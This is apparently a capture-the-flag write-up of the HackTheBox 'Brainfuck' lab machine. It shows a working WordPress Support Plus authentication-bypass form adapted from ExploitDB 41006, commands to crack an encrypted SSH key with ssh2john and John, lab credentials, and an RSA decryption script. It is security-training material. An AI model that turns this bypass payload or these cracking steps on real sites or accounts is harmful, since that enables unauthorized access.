Brainfuck (Insane)
{"author": ["ret2basic"]}

Machine Info Card

Brainfuck

Summary

In the enumeration phase, we investigate the SSL certificate and learn two DNS names. One name points to a WordPress site and the other points to a "secret forum".
We run WPScan and find a vulnerable plugin. Exploiting this vulnerability, we gain access to the WordPress Admin panel without knowing the password.
The admin panel contains a SMTP password, and we can get access to the emails using Evolution. The credential for the "secret forum" is in one of the emails.
In the "secret forum", we encounter an "encrypted" thread and we have to figure out a way to decrypt the ciphertexts. Once all the messages are decrypted, we get a download link for an encrypted RSA key. We need crack the password out of it using John. At this stage, we can SSH in as Orestis and get the user flag.
In the privilege escalation phase, we are given a simple RSA encryption script and the objective is RSA decryption. The output is the root flag.

Skills Learned

    Enumerating SSL certificates
    Exploiting WordPress
    Exploit modification
    Enumerating mail servers
    Decoding Vigenere ciphers
    SSH key brute forcing
    RSA decryption techniques

IP

    RHOST: 10.129.1.1
    LHOST: 10.10.14.60

Nmap

Nmap
Intuition tells us to investigate port 443.

SSL Certificate Enumeration

Visiting https://10.129.1.1 gives us a blank nginx page:
nginx
Click the "lock" icon and investigate the SSL certificate:
SSL certificate
First, we get an email address [email protected]:
Next, we get two DNS names www.brainfuck.htb and sup3rs3cr3t.brainfuck.htb:
DNS names
Now we should add 10.129.1.1 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb to /etc/hosts and visit https://brainfuck.htb, https://www.brainfuck.htb, and https://sup3rs3cr3t.brainfuck.htb to see if there is any valid page. It turns out that https://brainfuck.htb and https://www.brainfuck.htb point to a WordPress site:
WordPress
And https://sup3rs3cr3t.brainfuck.htb points to "Super Secret Forum":
Super Secret Forum

WPScan

When we see a WordPress site, usually we want to run WPScan in the background using the command wpscan --url https://brainfuck.htb --disable-tls-checks. In this case, WPScan finds an outdated plugin named wp-support-plus-responsive-ticket-system:
wp-support-plus-responsive-ticket-system
We can also enumerate the usernames using WPScan. The command is wpscan --url https://brainfuck.htb --disable-tls-checks --enumerate u. WPScan finds two usernames admin and administrator:
admin and administrator

WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation

Searching this plugin on Google leads us to ExploitDB 41006 at https://www.exploit-db.com/exploits/41006. It suggests that we can log in to admin panel without knowing any password using the PoC HTML file. We need to modify the "action" attribute to "https://brainfuck.htb/wp-admin/admin-ajax.php". Also, the administrator user is a low-privilege user and the admin user is what we want. The final PoC HTML content is:
1
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
2
Username: <input type="text" name="username" value="admin">
3
<input type="hidden" name="email" value="sth">
4
<input type="hidden" name="action" value="loginGuestFacebook">
5
<input type="submit" value="Login">
6
</form>
Copied!
What we want to do here is saving this HTML code as PoC.html and run firefox PoC.html. Click "Login". This request will let the server assign an admin cookie for us.
Go back to the WordPress site and refresh the page. Now we have access to the admin panel:
Admin panel

WP Admin Panel => SMTP Password

Enter the admin panel and navigate to "Settings => Easy WP SMTP". There is a hidden SMTP password:
Hidden password
This "hidden" SMTP password can be obtained through developer tools. The password is kHGuERB29DNiNE:
SMTP password

SMTP Login => Forum Credential

We use evolution for SMTP login. Install it:
1
$ apt install evolution
Copied!
Open the evolution client:
1
$ evolution
Copied!
Go to "File => New => Mail Account" and set up an account with the credential orestis:kHGuERB29DNiNE. The email address is [email protected]:
Identity setting
Receiving Email setting
Sending Email setting
The credential for the "secret forum" is in one of the emails:
Forum credential
The credential is orestis:kIEnnfEKJ#9UmdO.

Forum Login => SSH Key

Now we go back to the "secret forum" and log in as orestis:
Secret forum login
In the thread "SSH Access", we can learn that Orestis is a really nice person and there is an "encrypted" thread. Also note that Orestis has a "signature template": each thread ends with Orestis - Hacking for fun and profit:
SSH Access
This "signature" will be crucial in the decryption phase. That "encrypted" thread is just "Key". Note that Orestis's signature is encrypted as three different ciphertexts:
Key
This is the behavior of Vigenère cipher. From dcode.fr, we obtain the Vigenère cipher key:
Vigenère cipher key
The key is fuckmybrain. Once we have the key, we can decrypt each ciphertext. The crucial message contains a download link to the SSH key:
Download link
Just change the IP address and download the SSH key:
1
$ wget --no-check-certificate https://10.129.1.1/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
Copied!

Foothold: Encrypted SSH Key

Here is the content of the id_rsa file:
1
-----BEGIN RSA PRIVATE KEY-----
2
Proc-Type: 4,ENCRYPTED
3
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382
4
5
mneag/YCY8AB+OLdrgtyKqnrdTHwmpWGTNW9pfhHsNz8CfGdAxgchUaHeoTj/rh/
6
B2nS4+9CYBK8IR3Vt5Fo7PoWBCjAAwWYlx+cK0w1DXqa3A+BLlsSI0Kws9jea6Gi
7
W1ma/V7WoJJ+V4JNI7ufThQyOEUO76PlYNRM9UEF8MANQmJK37Md9Ezu53wJpUqZ
8
7dKcg6AM/o9VhOlpiX7SINT9dRKaKevOjopRbyEFMliP01H7ZlahWPdRRmfCXSmQ
9
zxH9I2lGIQTtRRA3rFktLpNedNPuZQCSswUec7eVVt2mc2Zv9PM9lCTJuRSzzVum
10
oz3XEnhaGmP1jmMoVBWiD+2RrnL6wnz9kssV+tgCV0mD97WS+1ydWEPeCph06Mem
11
dLR2L1uvBGJev8i9hP3thp1owvM8HgidyfMC2vOBvXbcAA3bDKvR4jsz2obf5AF+
12
Fvt6pmMuix8hbipP112Us54yTv/hyC+M5g1hWUuj5y4xovgr0LLfI2pGe+Fv5lXT
13
mcznc1ZqDY5lrlmWzTvsW7h7rm9LKgEiHn9gGgqiOlRKn5FUl+DlfaAMHWiYUKYs
14
LSMVvDI6w88gZb102KD2k4NV0P6OdXICJAMEa1mSOk/LS/mLO4e0N3wEX+NtgVbq
15
ul9guSlobasIX5DkAcY+ER3j+/YefpyEnYs+/tfTT1oM+BR3TVSlJcOrvNmrIy59
16
krKVtulxAejVQzxImWOUDYC947TXu9BAsh0MLoKtpIRL3Hcbu+vi9L5nn5LkhO/V
17
gdMyOyATor7Amu2xb93OO55XKkB1liw2rlWg6sBpXM1WUgoMQW50Keo6O0jzeGfA
18
VwmM72XbaugmhKW25q/46/yL4VMKuDyHL5Hc+Ov5v3bQ908p+Urf04dpvj9SjBzn
19
schqozogcC1UfJcCm6cl+967GFBa3rD5YDp3x2xyIV9SQdwGvH0ZIcp0dKKkMVZt
20
UX8hTqv1ROR4Ck8G1zM6Wc4QqH6DUqGi3tr7nYwy7wx1JJ6WRhpyWdL+su8f96Kn
21
F7gwZLtVP87d8R3uAERZnxFO9MuOZU2+PEnDXdSCSMv3qX9FvPYY3OPKbsxiAy+M
22
wZezLNip80XmcVJwGUYsdn+iB/UPMddX12J30YUbtw/R34TQiRFUhWLTFrmOaLab
23
Iql5L+0JEbeZ9O56DaXFqP3gXhMx8xBKUQax2exoTreoxCI57axBQBqThEg/HTCy
24
IQPmHW36mxtc+IlMDExdLHWD7mnNuIdShiAR6bXYYSM3E725fzLE1MFu45VkHDiF
25
mxy9EVQ+v49kg4yFwUNPPbsOppKc7gJWpS1Y/i+rDKg8ZNV3TIb5TAqIqQRgZqpP
26
CvfPRpmLURQnvly89XX97JGJRSGJhbACqUMZnfwFpxZ8aPsVwsoXRyuub43a7GtF
27
9DiyCbhGuF2zYcmKjR5EOOT7HsgqQIcAOMIW55q2FJpqH1+PU8eIfFzkhUY0qoGS
28
EBFkZuCPyujYOTyvQZewyd+ax73HOI7ZHoy8CxDkjSbIXyALyAa7Ip3agdtOPnmi
29
6hD+jxvbpxFg8igdtZlh9PsfIgkNZK8RqnPymAPCyvRm8c7vZFH4SwQgD5FXTwGQ
30
-----END RSA PRIVATE KEY-----
Copied!
Note that this SSH private key is encrypted and we need to brute-force the password. This password will be used when we SSH in as Orestis. First, we need to do ssh2john to convert the format. We use ssh2john.py:
1
$ ./ssh2john.py id_rsa > hash.txt
Copied!
Next, crack the hash with John:
1
$ wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
2
$ john hash.txt --wordlist=rockyou.txt
Copied!
The password is 3poulakia!:
John
Now SSH in as Orestis:
1
$ chmod 600 id_rsa
2
$ ssh -i id_rsa [email protected]
Copied!
We are Orestis:
Orestis

Privilege Escalation: RSA Decryption

The encrypt.sage file contains the source code for RSA encryption:
1
nbits = 1024
2
3
password = open("/root/root.txt").read().strip()
4
enc_pass = open("output.txt","w")
5
debug = open("debug.txt","w")
6
m = Integer(int(password.encode('hex'),16))
7
8
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
9
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
10
n = p*q
11
phi = (p-1)*(q-1)
12
e = ZZ.random_element(phi)
13
while gcd(e, phi) != 1:
14
e = ZZ.random_element(phi)
15
16
17
18
c = pow(m, e, n)
19
enc_pass.write('Encrypted Password: '+str(c)+'\n')
20
debug.write(str(p)+'\n')
21
debug.write(str(q)+'\n')
22
debug.write(str(e)+'\n')
Copied!
The root flag /root/root.txt is encrypted using this script and our object is to decrypt it. This challenge is trivial since $p$, $q$, and $e$ are stored in debug.txt:
debug.txt
Write a simple decryption script locally:
1
#!/usr/bin/env python3
2
from Crypto.Util.number import inverse, long_to_bytes
3
4
#--------Data--------#
5
6
p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
7
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
8
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
9
c = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
10
11
#--------RSA decryption--------#
12
13
N = p * q
14
phi = (p - 1 ) * (q - 1)
15
d = inverse(e, phi)
16
m = pow(c, d, N)
17
flag = long_to_bytes(m).decode()
18
19
print(flag)
Copied!
The output is just the root flag.
Last modified 3mo ago